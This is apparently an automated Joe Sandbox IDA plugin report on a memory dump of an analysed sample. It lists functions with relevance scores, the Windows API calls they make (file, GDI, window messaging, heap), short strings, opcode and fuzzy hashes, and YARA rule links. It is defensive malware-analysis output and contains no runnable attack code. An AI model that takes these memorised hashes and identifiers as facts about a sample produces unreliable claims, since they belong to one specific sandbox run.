String ID:
API String ID: 2797872399-0
Opcode ID: 659f9567599ed9ddb23f67129a9454de1f37a3155d60230def3b046eaa94bc2c
Instruction ID: 721990662c215fa309a62581335286bbc782023ab15d09441b1b46d0617259e3
Opcode Fuzzy Hash: 659f9567599ed9ddb23f67129a9454de1f37a3155d60230def3b046eaa94bc2c
Instruction Fuzzy Hash: 99311C30051B10EFE7376B15E90C756BBF2FB0470AF486969E0CA648B4877AA994DF21

Function 00EBA25B Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 243fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00EBA265
GetModuleFileNameA.KERNEL32(00000000,?,00000104,010041EC,00000000,010092CC,00000000,01005730,00000000,00E81D2C,00000000,0000052C,00EBB301,?,00000000,00000038), ref: 00EBA2FB
_strlen.LIBCMT ref: 00EBA382
CreateFileA.KERNEL32(00E81D2C,80000000,00000001,00000000,00000003,00000000,00000000,01005730,00000000,00E81D2C,00000000,0000052C,00EBB301,?,00000000,00000038), ref: 00EBA3B0
GetFileSize.KERNEL32(00000000,00000000,?,?,00EB700F,00E81D2C,00E81D2C,00E81D2C,01004830,00E81D2C,00E81E24,00E81E24,?,00EB83D0,?,?), ref: 00EBA3C0

Strings

PNG, xrefs: 00EBA509

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: File$CreateH_prolog3_ModuleNameSize_strlen
String ID: PNG
API String ID: 523348133-364855578
Opcode ID: 68f11cf26ea2573dac6476dba9f1fa2c1d74a31f60eb058e3d04cc0055f18687
Instruction ID: e57849945fef3c44f8893eec8d85b8ee979d12f68eb3de47ed2a429422be40be
Opcode Fuzzy Hash: 68f11cf26ea2573dac6476dba9f1fa2c1d74a31f60eb058e3d04cc0055f18687
Instruction Fuzzy Hash: 1081D171900218ABCF32AB60CC89FEF77BCAF45710F145169F959BB181DA749A81CF61

Function 00EB80C6 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 214COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00EB80D0
GetObjectA.GDI32(00000000,00000018,?), ref: 00EB810E
CreateCompatibleDC.GDI32(00000000), ref: 00EB814D
SelectObject.GDI32(?,00000000), ref: 00EB8170
GetObjectA.GDI32(00000000,00000054,?), ref: 00EB81B6
CreateDIBSection.GDI32(?,?), ref: 00EB8218
CreateCompatibleDC.GDI32(?), ref: 00EB8252
SelectObject.GDI32(?,00000000), ref: 00EB826B

Strings

(, xrefs: 00EB8201

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Object$Create$CompatibleSelect$H_prolog3_Section
String ID: (
API String ID: 1338481308-3887548279
Opcode ID: c80a24a15128fda3061befb660e780d32f335d8456d2769fcfa6efaf5acace08
Instruction ID: aa3236d161e63c32786bb69f971665552772d503d7e1a1a39ff32f58e4e0572c
Opcode Fuzzy Hash: c80a24a15128fda3061befb660e780d32f335d8456d2769fcfa6efaf5acace08
Instruction Fuzzy Hash: C2A11474901619DFDB61DF64DD85BEABBF9BF08300F1081A9E84DA7251DB30AA84CF20

Function 00EA60E2 Relevance: 24.2, APIs: 16, Instructions: 176windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00EA6175
SendMessageA.USER32(00000000,00000084,00000000,?), ref: 00EA6193
ReleaseCapture.USER32 ref: 00EA61CE
GetMessageA.USER32(?,00000000,000000A1,000000A1), ref: 00EA61DE
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00EA61F0
DispatchMessageA.USER32(?), ref: 00EA61F7
DispatchMessageA.USER32(?), ref: 00EA62AE
GetCursorPos.USER32(00000000), ref: 00EA62B8
PeekMessageA.USER32(?,00000000,?,?,00000001), ref: 00EA62D9

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Message$Peek$Dispatch$CaptureCursorReleaseSend
String ID:
API String ID: 597789953-0
Opcode ID: eb3884761555e719147bd39e5e724e59593cb94451f6811f451396352dfffc31
Instruction ID: 5044c08910bdce1ebf674d7c74fb56700079c69ab80ad83d289878f1aaa8b3da
Opcode Fuzzy Hash: eb3884761555e719147bd39e5e724e59593cb94451f6811f451396352dfffc31
Instruction Fuzzy Hash: 0251B170601200BFEB261B508C89FBDBA79FB5FB05F189129F546BD190C76ABC90DB61

Function 00EAA2BC Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 404windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00EAA2C6
SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 00EAA4BF
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 00EAA68C
InvalidateRect.USER32(?,00000000,00000001), ref: 00EAA6B2
UpdateWindow.USER32(?), ref: 00EAA6D4
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 00EAA791
InvalidateRect.USER32(?,00000000,00000001), ref: 00EAA7B7
UpdateWindow.USER32(?), ref: 00EAA7D9

Strings

:/\, xrefs: 00EAA509

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: MessageSend$InvalidateRectUpdateWindow$H_prolog3_
String ID: :/\
API String ID: 2009545923-2793184486
Opcode ID: 61de22a503d53aad859fb68ac03f0d836ea12efb36f1b100d11a5a8d335f6f5e
Instruction ID: b7e7959016c6e14059f99b710cd7f916290bc0f0a6bf658b626f180f628acea5
Opcode Fuzzy Hash: 61de22a503d53aad859fb68ac03f0d836ea12efb36f1b100d11a5a8d335f6f5e
Instruction Fuzzy Hash: 50F14C35600214DFCB25EB64CD99BED77B5BF89310F1411E8E50AAB2A2CB34AE85CF51

Function 00EA62E8 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00EA6303
WindowFromPoint.USER32(00000000,?), ref: 00EA6311
GetActiveWindow.USER32 ref: 00EA6332
GetCurrentThreadId.KERNEL32 ref: 00EA634C
GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA635C
GetDesktopWindow.USER32 ref: 00EA6371

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Thread$ActiveCaptureCurrentDesktopFromPointProcess
String ID:
API String ID: 1298419125-0
Opcode ID: 23c323221d4f9051a7ca530f9cee55e9627df01887dbc8cd50a3e8a7f13786d4
Instruction ID: 65c92ae848f3e035d6f5aeec18ee38f83abeed645af698f7ca5cd7d3cb395a45
Opcode Fuzzy Hash: 23c323221d4f9051a7ca530f9cee55e9627df01887dbc8cd50a3e8a7f13786d4
Instruction Fuzzy Hash: B1313E31900215EFCF269BB4D8486AEBBB0BF5F309F145465E441BA150D735BD56CBA0

Function 00FBE331 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FBE338

Part of subcall function 00F5290E: __EH_prolog3.LIBCMT ref: 00F52915

Part of subcall function 00F8C170: SetRectEmpty.USER32(?), ref: 00F8C1AB

SetRectEmpty.USER32(?), ref: 00FBE47C
SetRectEmpty.USER32 ref: 00FBE48D
SetRectEmpty.USER32(8C3A2FF3), ref: 00FBE494
_strlen.LIBCMT ref: 00FBE4E8
_strlen.LIBCMT ref: 00FBE501

Strings

False, xrefs: 00FBE4FB, 00FBE500, 00FBE508
True, xrefs: 00FBE4A6, 00FBE4B1, 00FBE4EF

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: EmptyRect$H_prolog3_strlen
String ID: False$True
API String ID: 4048534651-1895882422
Opcode ID: 09bb5ec82fd86d3ee06be9cc08d7c7cbed576a0ee50d946f09ee2c1938037a26
Instruction ID: 73cafdb5e5851700a16b7357fa3d7605bcbe1690f90adb60b291921db4bf4be0
Opcode Fuzzy Hash: 09bb5ec82fd86d3ee06be9cc08d7c7cbed576a0ee50d946f09ee2c1938037a26
Instruction Fuzzy Hash: 2B61D2B09056019FCB0ADF29D585BE9BBE8BF08300F1881BEE85D9F396CB741644CB65

Function 00ED23F0 Relevance: 13.8, APIs: 9, Instructions: 255windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ED23F7
UnionRect.USER32(?,?,?), ref: 00ED245D
EqualRect.USER32(?,?), ref: 00ED246B
CreateCompatibleDC.GDI32(00000000), ref: 00ED24A2
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00ED24D0
SelectObject.GDI32(?,00000000), ref: 00ED2536
BitBlt.GDI32(?,00000000,00000000,?,?,00000001,?,?,00CC0020), ref: 00ED255E
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 00ED26A8
DeleteObject.GDI32(?), ref: 00ED26C2

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CompatibleCreateObjectRect$BitmapDeleteEqualH_prolog3_SelectUnion
String ID:
API String ID: 1408062871-0
Opcode ID: 8c869ff7263153ef050ebc966b1155724004ab684ea89b94a26eec2e76e7f3d7
Instruction ID: f66c17d5eb7a412d8c7086384e8b5408f1de4184665be9572895e23cef103ccd
Opcode Fuzzy Hash: 8c869ff7263153ef050ebc966b1155724004ab684ea89b94a26eec2e76e7f3d7
Instruction Fuzzy Hash: 86B1F071E002199FCF15CFA8D984A9DBBB9FF58304F14812AE919BB355DB30A942CF90

Function 00EEE002 Relevance: 12.2, APIs: 8, Instructions: 169windowCOMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 00EEE03C
IsWindow.USER32(?), ref: 00EEE05D
DestroyWindow.USER32(?), ref: 00EEE06D
GetParent.USER32(?), ref: 00EEE093
IsRectEmpty.USER32(?), ref: 00EEE165
IsWindowVisible.USER32(?), ref: 00EEE1B1
MapWindowPoints.USER32(?,?,00000000,00000001), ref: 00EEE1C7
SendMessageA.USER32(?,00000202,?,?), ref: 00EEE1E6

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$CaptureDestroyEmptyMessageParentPointsRectReleaseSendVisible
String ID:
API String ID: 3509494761-0
Opcode ID: 4c9d83e7bab0997cb0db5fdae2535fd6f0c1845168e46ddc9d4aae4e81acc34d
Instruction ID: a103e472cde7229775b1d7a728a6885fbda8cde424503c9051f0f7dcf4e09638
Opcode Fuzzy Hash: 4c9d83e7bab0997cb0db5fdae2535fd6f0c1845168e46ddc9d4aae4e81acc34d
Instruction Fuzzy Hash: 5B51C1306002559FDF269F61C899BBA3BA5BF09304F0410B8FC46AF396DB799D44CB91

Function 00EBC2EB Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00EBC2F2
CreateCompatibleDC.GDI32(?), ref: 00EBC341
CreateCompatibleDC.GDI32(?), ref: 00EBC353
SelectObject.GDI32(?,?), ref: 00EBC370
SelectObject.GDI32(?,00000000), ref: 00EBC388
BitBlt.GDI32(?,?,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00EBC3AE
SelectObject.GDI32(?,00000000), ref: 00EBC3BC
SelectObject.GDI32(?,00000000), ref: 00EBC3CA

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreate$H_prolog3
String ID:
API String ID: 2106698553-0
Opcode ID: c7654a72204debaee7d6e0188d0b3ccca5d88fc54492f19ff2d467f0b8a4606e
Instruction ID: 45edf62ddcee183813075ae0cf91e7f52208a3a0de63c76b75a3f4576971e129
Opcode Fuzzy Hash: c7654a72204debaee7d6e0188d0b3ccca5d88fc54492f19ff2d467f0b8a4606e
Instruction Fuzzy Hash: CC315731905219EFDB16EFA0CD55AEEBBB8BF18300F205028F546B6152CB75AE04CBA1

Function 00EA8204 Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

RealChildWindowFromPoint.USER32(?,?,?), ref: 00EA8228
ClientToScreen.USER32(?,?), ref: 00EA8243
GetWindow.USER32(?,00000005), ref: 00EA824C
GetDlgCtrlID.USER32(00000000), ref: 00EA825C
GetWindowLongA.USER32(00000000,000000F0), ref: 00EA826C
GetWindowRect.USER32(00000000,?), ref: 00EA828A
PtInRect.USER32(?,?,?), ref: 00EA829A
GetWindow.USER32(00000000,00000002), ref: 00EA82A9

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Rect$ChildClientCtrlFromLongPointRealScreen
String ID:
API String ID: 151369081-0
Opcode ID: 6aea3e1929fddecbeb78f04813b7d2aba3ad2fe9e12633c8c47fd15a4aab75d3
Instruction ID: 465af0cd4e7e34ed254cb6b9b155da85237152e4b55ce6bce49fd1f13bf14037
Opcode Fuzzy Hash: 6aea3e1929fddecbeb78f04813b7d2aba3ad2fe9e12633c8c47fd15a4aab75d3
Instruction Fuzzy Hash: 5E21927190161AAFCB229FA8CD48AAFB7B8FF09350F104129F404F7240DB39D9018BA0

Function 00EB6383 Relevance: 12.1, APIs: 8, Instructions: 59COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000020), ref: 00EB63B2
GetSystemMetrics.USER32(00000021), ref: 00EB63BC
GetSystemMetrics.USER32(00000005), ref: 00EB63CB
GetSystemMetrics.USER32(00000006), ref: 00EB63D5
GetSystemMetrics.USER32(0000005C), ref: 00EB63E9
GetSystemMetrics.USER32(0000005C), ref: 00EB63F3
GetSystemMetrics.USER32(00000007), ref: 00EB640B
GetSystemMetrics.USER32(00000008), ref: 00EB6415

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 9377e7ef7270f42445346026111c7a67de48d0cc9ffb90d212adabfadd902413
Instruction ID: 124022329e107e74e2179c88405a78d32471369a3825ee15e8b2cffca1c3b362
Opcode Fuzzy Hash: 9377e7ef7270f42445346026111c7a67de48d0cc9ffb90d212adabfadd902413
Instruction Fuzzy Hash: D3116DB2580B05AFD7325FA4990C756BBE4FF10B15F10943DE6D9DA580DA799880CB11

Function 00F0E12A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00F0E166
IsRectEmpty.USER32(?), ref: 00F0E18B
FillRect.USER32(?,?,00000000), ref: 00F0E252
FillRect.USER32(?,?,00000000), ref: 00F0E288
InflateRect.USER32(?,00000000,000000FF), ref: 00F0E2C5

Strings

%I, xrefs: 00F0E140, 00F0E145, 00F0E1E2, 00F0E28E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Rect$Fill$EmptyInflateParent
String ID: %I
API String ID: 2418387936-1563208197
Opcode ID: 6d9cdd52a506b1a91de351bfc09fe0b674fa0edf782a5674269b8730a1697bd5
Instruction ID: 4a8b6a5ee3f5cbf1a8ef6835545649a9c0c76403eb698231e949a5ba8e72f7a6
Opcode Fuzzy Hash: 6d9cdd52a506b1a91de351bfc09fe0b674fa0edf782a5674269b8730a1697bd5
Instruction Fuzzy Hash: 9A71C632E006069BCF15EFA4C846DAF7BBAFF4A310F044519FD10AB281DB75E901AB91

Function 00FEC23F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FEBF89: _free.LIBCMT ref: 00FEBFAE

_free.LIBCMT ref: 00FEC28D

Part of subcall function 00FE26C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00FE2F36,00000000,00000000,01063F78,00000000,00000007,000000FF,?,00E86776,00E9945F,00000000,?), ref: 00FE26DE
Part of subcall function 00FE26C8: GetLastError.KERNEL32(00000000,?,00FE2F36,00000000,00000000,01063F78,00000000,00000007,000000FF,?,00E86776,00E9945F,00000000,?,?,00E98A17), ref: 00FE26F0

_free.LIBCMT ref: 00FEC298
_free.LIBCMT ref: 00FEC2A3
_free.LIBCMT ref: 00FEC2F7
_free.LIBCMT ref: 00FEC302
_free.LIBCMT ref: 00FEC30D
_free.LIBCMT ref: 00FEC318

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 57b9c50bff66dd14b9f25f69197750c5cd4ee71953c009ff55a3012b96ca8832
Instruction ID: b4f1481ab483ca1227b8893c139f459a7f0079a91c6fa97ddb27280e9fa5925f
Opcode Fuzzy Hash: 57b9c50bff66dd14b9f25f69197750c5cd4ee71953c009ff55a3012b96ca8832
Instruction Fuzzy Hash: 1A112171541BC8AAD571B7F2CC07FCBBB9C9F04700F409915B299660A2DB69F9087A51

Function 00EA80AF Relevance: 10.6, APIs: 7, Instructions: 60COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00EA80C9
GetWindow.USER32(?,00000005), ref: 00EA80D2
GetDlgCtrlID.USER32(00000000), ref: 00EA80E1
GetWindowLongA.USER32(00000000,000000F0), ref: 00EA80F1
GetWindowRect.USER32(00000000,?), ref: 00EA810F
PtInRect.USER32(?,?,?), ref: 00EA811F
GetWindow.USER32(00000000,00000002), ref: 00EA812C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: b3fd518fd9fdf67631462fa42361eea84ab9464b43585b00b648e15ad05a5b97
